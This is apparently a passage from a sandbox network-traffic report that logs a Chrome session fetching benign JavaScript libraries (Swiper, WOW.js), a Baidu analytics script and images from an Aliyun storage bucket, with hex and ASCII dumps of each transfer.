Ascii: tive:l,recreateShadows:o,getEffectParams:d}=e;let c;a("beforeInit",(()=>{if(s.params.effect!==t)return;s.classNames.push(`${fff8s.params.containerModifierClass}${t}`),l&&l()&&s.classNames.push(`${s.params.containerModifierClass}3d`);const e=n?n():{};O
2024-09-27 03:50:59 UTC	16384	IN	Data Raw: 3d 22 73 77 69 70 65 72 2d 70 61 67 69 6e 61 74 69 6f 6e 22 3b 6c 65 74 20 6e 3b 73 28 7b 70 61 67 69 6e 61 74 69 6f 6e 3a 7b 65 6c 3a 6e 75 6c 6c 2c 62 75 6c 6c 65 74 45 6c 65 6d 65 6e 74 3a 22 73 70 61 6e 22 2c 63 6c 69 63 6b 61 62 6c 65 3a 21 31 2c 68 69 64 65 4f 6e 43 6c 69 63 6b 3a 21 31 2c 72 65 6e 64 65 72 42 75 6c 6c 65 74 3a 6e 75 6c 6c 2c 72 65 6e 64 65 72 50 72 6f 67 72 65 73 73 62 61 72 3a 6e 75 6c 6c 2c 72 65 6e 64 65 72 46 72 61 63 74 69 6f 6e 3a 6e 75 6c 6c 2c 72 65 6e 64 65 72 43 75 73 74 6f 6d 3a 6e 75 6c 6c 2c 70 72 6f 67 72 65 73 73 62 61 72 4f 70 70 6f 73 69 74 65 3a 21 31 2c 74 79 70 65 3a 22 62 75 6c 6c 65 74 73 22 2c 64 79 6e 61 6d 69 63 42 75 6c 6c 65 74 73 3a 21 31 2c 64 79 6e 61 6d 69 63 4d 61 69 6e 42 75 6c 6c 65 74 73 3a 31 2c Data Ascii: ="swiper-pagination";let n;s({pagination:{el:null,bulletElement:"span",clickable:!1,hideOnClick:!1,renderBullet:null,renderProgressbar:null,renderFraction:null,renderCustom:null,progressbarOpposite:!1,type:"bullets",dynamicBullets:!1,dynamicMainBullets:1,
2024-09-27 03:50:59 UTC	16384	IN	Data Raw: 74 20 73 3d 74 2e 64 65 76 69 63 65 2c 61 3d 74 2e 73 75 70 70 6f 72 74 2c 69 3d 74 2e 70 61 72 61 6d 73 2e 7a 6f 6f 6d 2c 72 3d 74 2e 7a 6f 6f 6d 3b 69 66 28 21 61 2e 67 65 73 74 75 72 65 73 29 7b 69 66 28 21 6f 7c 7c 21 63 29 72 65 74 75 72 6e 3b 69 66 28 22 74 6f 75 63 68 65 6e 64 22 21 3d 3d 65 2e 74 79 70 65 7c 7c 22 74 6f 75 63 68 65 6e 64 22 3d 3d 3d 65 2e 74 79 70 65 26 26 65 2e 63 68 61 6e 67 65 64 54 6f 75 63 68 65 73 2e 6c 65 6e 67 74 68 3c 32 26 26 21 73 2e 61 6e 64 72 6f 69 64 29 72 65 74 75 72 6e 3b 6f 3d 21 31 2c 63 3d 21 31 7d 6d 2e 24 69 6d 61 67 65 45 6c 26 26 30 21 3d 3d 6d 2e 24 69 6d 61 67 65 45 6c 2e 6c 65 6e 67 74 68 26 26 28 72 2e 73 63 61 6c 65 3d 4d 61 74 68 2e 6d 61 78 28 4d 61 74 68 2e 6d 69 6e 28 72 2e 73 63 61 6c 65 2c 6d 2e Data Ascii: t s=t.device,a=t.support,i=t.params.zoom,r=t.zoom;if(!a.gestures){if(!o\|\|!c)return;if("touchend"!==e.type\|\|"touchend"===e.type&&e.changedTouches.length<2&&!s.android)return;o=!1,c=!1}m.$imageEl&&0!==m.$imageEl.length&&(r.scale=Math.max(Math.min(r.scale,m.
2024-09-27 03:50:59 UTC	16384	IN	Data Raw: 2e 66 69 72 73 74 53 6c 69 64 65 4d 65 73 73 61 67 65 29 3a 72 28 73 2e 70 72 65 76 53 6c 69 64 65 4d 65 73 73 61 67 65 29 29 2c 74 2e 70 61 67 69 6e 61 74 69 6f 6e 26 26 61 2e 69 73 28 55 28 74 2e 70 61 72 61 6d 73 2e 70 61 67 69 6e 61 74 69 6f 6e 2e 62 75 6c 6c 65 74 43 6c 61 73 73 29 29 26 26 61 5b 30 5d 2e 63 6c 69 63 6b 28 29 7d 66 75 6e 63 74 69 6f 6e 20 66 28 29 7b 72 65 74 75 72 6e 20 74 2e 70 61 67 69 6e 61 74 69 6f 6e 26 26 74 2e 70 61 67 69 6e 61 74 69 6f 6e 2e 62 75 6c 6c 65 74 73 26 26 74 2e 70 61 67 69 6e 61 74 69 6f 6e 2e 62 75 6c 6c 65 74 73 2e 6c 65 6e 67 74 68 7d 66 75 6e 63 74 69 6f 6e 20 67 28 29 7b 72 65 74 75 72 6e 20 66 28 29 26 26 74 2e 70 61 72 61 6d 73 2e 70 61 67 69 6e 61 74 69 6f 6e 2e 63 6c 69 63 6b 61 62 6c 65 7d 63 6f 6e 73 Data Ascii: .firstSlideMessage):r(s.prevSlideMessage)),t.pagination&&a.is(U(t.params.pagination.bulletClass))&&a[0].click()}function f(){return t.pagination&&t.pagination.bullets&&t.pagination.bullets.length}function g(){return f()&&t.params.pagination.clickable}cons
2024-09-27 03:50:59 UTC	11934	IN	Data Raw: 63 29 29 2c 61 3d 65 2d 63 2a 6f 2a 73 2c 69 3d 30 3d 3d 3d 73 3f 6f 3a 4d 61 74 68 2e 6d 69 6e 28 4d 61 74 68 2e 63 65 69 6c 28 28 6e 2d 73 2a 63 2a 6f 29 2f 63 29 2c 6f 29 3b 6d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 61 2f 69 29 2c 68 3d 61 2d 6d 2a 69 2b 73 2a 6f 2c 75 3d 68 2b 6d 2a 74 2f 63 2c 72 2e 63 73 73 28 7b 22 2d 77 65 62 6b 69 74 2d 6f 72 64 65 72 22 3a 75 2c 0d 0a 32 65 31 33 0d 0a 6f 72 64 65 72 3a 75 7d 29 7d 65 6c 73 65 22 63 6f 6c 75 6d 6e 22 3d 3d 3d 70 3f 28 68 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 2f 63 29 2c 6d 3d 65 2d 68 2a 63 2c 28 68 3e 61 7c 7c 68 3d 3d 3d 61 26 26 6d 3d 3d 3d 63 2d 31 29 26 26 28 6d 2b 3d 31 2c 6d 3e 3d 63 26 26 28 6d 3d 30 2c 68 2b 3d 31 29 29 29 3a 28 6d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 2f 73 29 2c 68 3d Data Ascii: c)),a=e-cos,i=0===s?o:Math.min(Math.ceil((n-sco)/c),o);m=Math.floor(a/i),h=a-mi+so,u=h+mt/c,r.css({"-webkit-order":u,2e13order:u})}else"column"===p?(h=Math.floor(e/c),m=e-hc,(h>a\|\|h===a&&m===c-1)&&(m+=1,m>=c&&(m=0,h+=1))):(m=Math.floor(e/s),h=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.5	49844	50.2.64.137	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:59 UTC	1067	OUT	GET /resources/assets/lib/js/wow.min.js?v=0.574 HTTP/1.1 Host: www.hbyczyz.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.hbyczyz.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __tins__21261259=%7B%22sid%22%3A%201727409055278%2C%20%22vd%22%3A%201%2C%20%22expires%22%3A%201727410855278%7D; __51cke__=; __51laig__=1; __vtins__Je2vxuGiqIpyNLW9=%7B%22sid%22%3A%20%22e3f7b2dc-b35f-5bbe-aa91-f6d873769564%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201727409599999%2C%20%22ct%22%3A%201727409057601%7D; __51uvsct__Je2vxuGiqIpyNLW9=1; __51vcke__Je2vxuGiqIpyNLW9=e5167a3d-b8ba-5181-acee-14e115d2e457; __51vuft__Je2vxuGiqIpyNLW9=1727409057614
2024-09-27 03:50:59 UTC	206	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 03:50:34 GMT Content-Type: text/html;charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Powered-By: PHP/5.4.41
2024-09-27 03:50:59 UTC	7070	IN	Data Raw: 31 62 39 31 0d 0a 2f 2a 21 20 57 4f 57 20 2d 20 76 31 2e 30 2e 31 20 2d 20 32 30 31 34 2d 30 39 2d 30 33 0a 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 34 20 4d 61 74 74 68 69 65 75 20 41 75 73 73 61 67 75 65 6c 3b 20 4c 69 63 65 6e 73 65 64 20 4d 49 54 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 2c 62 2c 63 2c 64 2c 65 2c 66 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 61 2e 61 70 70 6c 79 28 62 2c 61 72 67 75 6d 65 6e 74 73 29 7d 7d 2c 67 3d 5b 5d 2e 69 6e 64 65 78 4f 66 7c 7c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 6f 72 28 76 61 72 20 62 3d 30 2c 63 3d 74 68 69 73 2e 6c 65 6e 67 74 68 3b 63 3e 62 3b 62 2b 2b 29 69 66 28 62 20 69 6e 20 74 68 69 73 26 Data Ascii: 1b91/! WOW - v1.0.1 - 2014-09-03 Copyright (c) 2014 Matthieu Aussaguel; Licensed MIT */(function(){var a,b,c,d,e,f=function(a,b){return function(){return a.apply(b,arguments)}},g=[].indexOf\|\|function(a){for(var b=0,c=this.length;c>b;b++)if(b in this&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.5	49843	183.240.98.228	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:59 UTC	374	OUT	GET /hm.js?2f4a9eb3b313afbfc53ecee34428d6f2 HTTP/1.1 Host: hm.baidu.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:51:00 UTC	194	IN	HTTP/1.1 200 OK Content-Length: 0 Date: Fri, 27 Sep 2024 03:51:00 GMT Server: apache Strict-Transport-Security: max-age=172800 Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.5	49838	47.108.5.198	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:59 UTC	424	OUT	GET /sichuang/images/2023/04/06/image_1680777847_yF9XedBo.jpg HTTP/1.1 Host: website-ishutime.oss-cn-chengdu.aliyuncs.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:51:00 UTC	544	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Fri, 27 Sep 2024 03:51:00 GMT Content-Type: image/jpeg Content-Length: 4920 Connection: close x-oss-request-id: 66F62BA4B4F3D439353E4DBF Accept-Ranges: bytes ETag: "22BEE551222772824AB963798409AE4D" Last-Modified: Mon, 29 Jan 2024 03:33:48 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 2012536368906853367 x-oss-storage-class: Standard x-oss-ec: 0048-00000101 Content-Disposition: attachment x-oss-force-download: true Content-MD5: Ir7lUSIncoJKuWN5hAmuTQ== x-oss-server-time: 1
2024-09-27 03:51:00 UTC	4920	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 50 00 00 ff e1 03 2f 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 33 38 20 37 39 2e 31 35 39 38 32 34 2c 20 32 30 31 36 2f 30 39 2f 31 34 2d 30 31 3a 30 39 3a 30 31 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d Data Ascii: ExifII*DuckyP/http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.5	49839	47.108.5.198	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:59 UTC	424	OUT	GET /images/2024/05/10/sichuang/image_1715308595_zbRpYtB3.png HTTP/1.1 Host: website-ishutime.oss-cn-chengdu.aliyuncs.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:51:00 UTC	546	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Fri, 27 Sep 2024 03:51:00 GMT Content-Type: image/png Content-Length: 101751 Connection: close x-oss-request-id: 66F62BA4F299AF34305D0AA9 Accept-Ranges: bytes ETag: "3D245A6565959D66AF8A3D6600000000" Last-Modified: Fri, 10 May 2024 02:47:11 GMT x-oss-object-type: Appendable x-oss-hash-crc64ecma: 7394230425936864317 x-oss-next-append-position: 101751 x-oss-storage-class: Standard x-oss-ec: 0048-00000101 Content-Disposition: attachment x-oss-force-download: true x-oss-server-time: 3
2024-09-27 03:51:00 UTC	15838	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 40 00 00 01 40 08 02 00 00 00 42 f2 32 fd 00 00 00 09 70 48 59 73 00 00 2e 23 00 00 2e 23 01 78 a5 3f 76 00 00 06 bb 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 36 2e 30 2d 63 30 30 32 20 37 39 2e 31 36 34 33 36 30 2c 20 32 30 32 30 2f 30 32 2f 31 33 2d 30 31 3a 30 37 3a 32 32 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 Data Ascii: PNGIHDR@@B2pHYs.#.#x?viTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164360, 2020/02/13-01:07:22 "> <rdf:RD
2024-09-27 03:51:00 UTC	16384	IN	Data Raw: 24 49 4f b7 66 e1 11 62 01 2a 86 a6 84 b0 ee 25 8e 50 65 9d 10 17 b3 a6 1c 04 cd 99 85 2b 89 13 1b a7 8b 76 f3 22 19 02 06 41 70 e8 d0 21 a5 82 35 ab 57 11 f0 dc 50 21 84 db 4d 5c 52 c2 ae 9b 48 20 6a a3 b5 36 c5 62 09 05 6a a3 2d f7 78 11 b8 26 0d 7f fa b9 ff cf b2 b4 5c a9 5c 70 fe 45 e5 4a a5 d7 eb f4 85 33 ad b5 64 c1 b8 38 38 cb b2 4c 67 ac 31 44 5e d0 4f 13 70 94 e3 ee 0a 0e 10 18 1a 90 52 f9 6f ca 58 33 30 30 60 8c f9 cc 67 3e f5 9d ef 7c 8b 63 81 52 b9 7c c1 f9 17 6e dc b8 b9 54 2c 37 9b 8d c9 c9 23 1b 37 6c 66 e8 41 1b 13 78 91 83 bc f5 02 dc b0 3b 2d a5 dc ba f5 a4 2d 5b b6 4e 4d 4d 7e ec a3 9f fc bb bf fb e0 e3 2f bd e4 ad 6f 79 f3 d0 d0 d0 0a dd ed 0f e0 5a b1 1c 18 01 50 48 29 bb bd de cc f4 a4 14 d2 95 75 3d 61 03 90 00 04 10 69 a3 51 08 21 Data Ascii: $IOfb*%Pe+v"Ap!5WP!M\RH j6bj-x&\\pEJ3d88Lg1D^OpRoX300`g>\|cR\|nT,7#7lfAx;--[NMM~/oyZPH)u=aiQ!
2024-09-27 03:51:00 UTC	16384	IN	Data Raw: 73 58 23 2d 47 13 b8 0a 9d f7 5d 5a 63 01 90 a3 67 1e c5 2c a5 aa d5 07 da dd 76 1c c7 41 10 18 63 98 59 35 3e 3e ce 2c 4b 21 04 67 c5 00 34 38 34 04 44 bd 5e 2c 84 30 c6 35 03 71 17 37 00 74 3b 9d 62 b1 b4 76 ed ba 76 bb 69 0c 17 84 38 52 10 e0 92 af be 0d 63 9f ff dc 97 c5 ca 2f b6 0f b6 41 3a b8 8b b4 31 8b 4b 0b 8d c6 d2 91 23 13 95 5d 77 8e 8c 8c ae 5f bf 7e cd 9a 75 83 03 43 a5 52 b9 54 aa 44 81 32 3a 49 d3 94 ac c9 8c 49 32 3d 58 ab 00 ca 42 71 b0 68 0e 0d 55 7a ed 91 75 cd ce 21 ad 75 92 24 d2 ed 86 c6 fa f1 88 da 18 29 e5 fc fc fc d0 d0 50 b9 54 3e 72 f4 08 6b 59 f3 44 98 87 12 88 c5 1b 3c b8 1d dd d3 9f fb 21 90 0f 7b 3c 95 37 0f 87 84 9f 58 85 88 02 15 59 12 92 09 06 c6 41 5c 1c 24 e7 bb ee b2 c9 1a 44 74 ac fb bd 1f 6b fd 27 f0 cc 0f 4a 1c 0b Data Ascii: sX#-G]Zcg,vAcY5>>,K!g484D^,05q7t;bvvi8Rc/A:1K#]w_~uCRTD2:II2=XBqhUzu!u$)PT>rkYD<!{<7XYA\$Dtk'J
2024-09-27 03:51:00 UTC	16384	IN	Data Raw: 0b c2 30 7b 32 5a 71 30 34 a0 8c b1 80 96 d1 86 7b 5e b3 d1 48 d2 24 1a 47 04 10 93 52 39 43 16 a5 51 12 c7 95 4a 85 1a 2d 82 8b 2c 4b b7 77 b6 84 f0 6a b5 ba 94 92 f2 82 28 8a f2 2c 9b 9a 9e 9e 9f 5b c8 f2 dc f5 f2 5c 77 1d 81 a3 d5 f7 20 ca 87 54 9a 32 0c ad 15 67 5c 1a d0 3a 07 04 c7 98 b6 f7 8a e2 98 18 e6 88 c0 c8 73 54 2b 4d 0d 15 00 70 1a 09 f6 b9 1f 20 5c 20 da 3d b4 a0 97 d8 93 d4 75 83 e1 40 1c 38 f3 e1 7d 55 6a 2c f2 29 db 8e 62 c6 28 6a 47 58 be 98 3b 00 a0 18 b1 b6 5f 0e 08 ea f7 3c 5f 70 a1 b4 46 6d ec 00 86 94 7e 40 29 b4 cd e9 b2 3c 63 c8 0a 61 90 34 cb 43 4f 4d 64 35 99 0c 67 aa e3 76 55 5e de e1 fd c8 2c b4 e0 f9 35 29 0d a7 cf 72 30 ff 58 5a 9c 03 e0 6b eb db cd b7 de 2b 73 b9 b5 b5 75 dd f5 a7 5e a9 68 fa af 5c 87 55 03 13 68 54 80 cd Data Ascii: 0{2Zq04{^H$GR9CQJ-,Kwj(,[\w T2g\:sT+Mp \ =u@8}Uj,)b(jGX;_<_pFm~@)<ca4COMd5gvU^,5)r0XZk+su^h\UhT
2024-09-27 03:51:00 UTC	16384	IN	Data Raw: 3b 61 2b 32 6d c7 cb e9 a2 1a 98 80 06 86 48 03 58 f4 2d 39 e3 83 c1 80 8a 32 21 3c 3a 72 91 b1 e1 70 40 8b 53 08 61 8c a9 56 6a 69 9a c4 f1 84 0e 95 56 ab c5 38 4f 27 3d 56 e2 5b 43 21 35 5f 6a 66 88 e6 e2 8e 67 00 8f b5 93 58 32 3a 56 72 99 7f d3 71 e8 43 4b a1 b5 01 e7 40 41 d9 23 59 8d 18 43 16 04 06 11 38 e7 cc 32 93 6c 9f 7d 38 1c 2c 2f 1f 9f ea 4c 8f a3 51 01 62 03 c0 81 e7 05 8c b1 cd cd 8d d3 a7 5f 75 db 6d 77 ac af af 79 9e 57 2a 95 7b bd ee 68 38 5c 5b 5b f5 3c 8f 22 ca 68 2d 95 72 dc 26 30 ce 22 c8 58 2b 60 30 fb c2 a5 f6 5d a6 a7 a7 1d a5 e1 c0 fb bd fc 42 c4 d1 68 b8 78 64 a9 5c a9 ec ed ee 86 61 89 f6 94 b5 b5 15 cf f3 e6 66 17 7a bd 9e d2 14 c0 24 49 59 ec 65 9a 86 63 ec f8 9b d6 34 7f 47 5a d0 49 1c 57 2a d5 4a b9 22 dd 9a 70 c5 e8 cb de Data Ascii: ;a+2mHX-92!<:rp@SaVjiV8O'=V[C!5_jfgX2:VrqCK@A#YC82l}8,/LQb_umwyW{h8\[[<"h-r&0"X+`0]Bhxd\afz$IYec4GZIWJ"p
2024-09-27 03:51:00 UTC	16384	IN	Data Raw: 1b 98 5b ab 91 11 50 54 6b 06 11 90 e8 f6 29 01 d0 09 02 b2 be 01 5d 3d 31 dc 52 42 28 25 11 e7 b8 6d 57 2a eb 52 88 64 32 d5 6e b7 cb e5 b5 89 89 c9 5c 36 77 76 61 5e 48 e5 d8 4e 18 04 2b 2b cb 13 e3 5b b2 b9 fc dc dc 2c 28 85 ec 8b d5 d5 95 c9 89 ad bb 77 ef 9d 99 99 0e 82 80 52 c2 79 d4 68 34 2a 95 f5 d1 91 d1 5a bd f6 e4 81 27 ce 2e cc ef be 68 cf 73 9f 7b 6d b1 58 ca 66 b3 00 e4 f8 f1 23 df ba f7 df 0e 1e da 3f d0 3f 78 cb 4f bf 71 cf 9e 4b 1a 8d 3a d6 ba 84 e0 a8 31 0e 00 38 a8 f1 1f ff f1 d3 b7 7d fa e3 ef 7b ff 7b 77 ef de 75 cd 35 cf 79 db 5b 7f f1 e3 7f 7f 2b 63 ac 52 a9 7c e4 23 1f b9 78 cf e5 d9 4c 9a 31 2b e2 a1 e0 82 0b c1 39 e7 5c 44 51 d4 df 3f 30 37 b7 f0 e8 a3 8f 5c b4 73 6f 79 6d fd 39 cf bd aa bc 5e de b9 73 e7 dc dc fc c8 c8 58 2f 32 Data Ascii: [PTk)]=1RB(%mWRd2n\6wva^HN++[,(wRyh4Z'.hs{mXf#??xOqK:18}{{wu5y[+cR\|#xL1+9\DQ?07\soym9^sX/2
2024-09-27 03:51:00 UTC	3993	IN	Data Raw: e8 ff f5 64 0b 6a 06 3b 12 d3 0f 44 88 c9 3e 00 d1 ef fe fe 3e c7 75 6a d5 6a b5 5a 99 9a 3a 3d 3b 37 13 45 11 63 2c 9f 2f 4e 4c 4c ee da 75 91 e3 38 f5 7a 83 73 2e 38 e7 11 47 ea b2 de 1f 95 94 42 20 8c 1e 45 61 a7 d3 11 82 73 c1 95 09 fb 75 d3 c8 05 b2 c6 c7 37 bf e5 2d 6f fb c4 27 3e de d7 d7 ef fb 9d 6e f0 15 b3 de 74 d3 22 14 0b c5 52 a9 ef d4 a9 93 57 5c 79 55 a7 d3 f1 7d 3f 91 48 6c ec c9 7f b7 f5 4c 31 e0 ef b8 e2 ae ba de 1f 66 b3 19 8b b1 62 b1 44 80 ac ae ae d4 ea 55 c1 85 6d db fd fd 03 8e e3 2c 2d 2d 56 ab 55 d7 75 d3 a9 34 b6 f5 30 4a 15 63 42 f0 56 a3 69 d9 76 32 99 5c af 94 f7 ec dd bb 67 cf d3 06 2a 2a d5 dd 65 e2 bd 06 33 52 03 21 c5 bf c5 22 93 e6 f4 c7 4e 40 29 e0 51 14 09 2e 85 10 42 c6 b2 6f 52 aa 28 8c 22 1e 71 ce a5 d4 f4 33 42 88 Data Ascii: dj;D>>ujjZ:=;7Ec,/NLLu8zs.8GB Easu7-o'>nt"RW\yU}?HlL1fbDUm,--VUu40JcBViv2\g**e3R!"N@)Q.BoR("q3B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.5	49840	47.108.5.198	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:59 UTC	424	OUT	GET /sichuang/images/2023/03/29/image_1680077855_S16l5i6f.jpg HTTP/1.1 Host: website-ishutime.oss-cn-chengdu.aliyuncs.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:51:00 UTC	546	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Fri, 27 Sep 2024 03:51:00 GMT Content-Type: image/jpeg Content-Length: 72173 Connection: close x-oss-request-id: 66F62BA423D93A3132B3C518 Accept-Ranges: bytes ETag: "7FF84AFFA1F8B6130DF415B5173B4BC6" Last-Modified: Mon, 29 Jan 2024 03:34:08 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 11199755880032966095 x-oss-storage-class: Standard x-oss-ec: 0048-00000101 Content-Disposition: attachment x-oss-force-download: true Content-MD5: f/hK/6H4thMN9BW1FztLxg== x-oss-server-time: 2
2024-09-27 03:51:00 UTC	15838	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 50 00 00 ff e1 03 2e 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 33 38 20 37 39 2e 31 35 39 38 32 34 2c 20 32 30 31 36 2f 30 39 2f 31 34 2d 30 31 3a 30 39 3a 30 31 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d Data Ascii: ExifII*DuckyP.http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xm
2024-09-27 03:51:00 UTC	16384	IN	Data Raw: 04 08 72 e5 1e af bb 40 38 a5 b6 f1 e6 70 d2 92 73 7f 6d 4a ea 8f bb 66 1e 16 24 4c db 47 07 db 5b 2c f2 84 1c 83 b6 e1 bb 82 68 db cc e6 52 b9 83 39 b3 13 2c 6e a5 e6 1b c0 93 2f 81 1b 93 34 5f cb be d6 56 66 4d b0 aa 10 fc d8 5b 63 98 fc 5a d4 b0 4c eb b3 ad 4d a7 05 cf 8b 78 d5 16 7b a0 c3 ca d2 5a d6 2e 15 51 4a c3 97 27 ac a5 bf a4 2c f2 b2 87 ab b8 70 5c a9 cb 0e cf 31 7d ac c3 db 60 2a 73 7d 26 d3 36 37 ed 3d 80 6f 6f a2 17 9e 0e f9 aa 6f e2 c2 fd db 9f 6d 62 c4 55 77 7f 32 09 26 57 89 2f 1a 77 89 9c 48 cd a7 c4 7b 1a cc 7c 78 67 75 47 f1 b7 2b ed 6c 8a 25 a0 00 af 5d 5a 0f f2 42 73 0c 07 11 e6 84 44 84 79 84 62 34 29 0a 52 39 ea 56 1f 68 5c 7d bb 36 f1 e3 65 a9 10 1c 7a 02 15 3b ea ff 00 2f 92 3c ce 4f a9 4f fa 1b 94 a7 44 69 d1 0c d3 9c 8c 32 f3 Data Ascii: 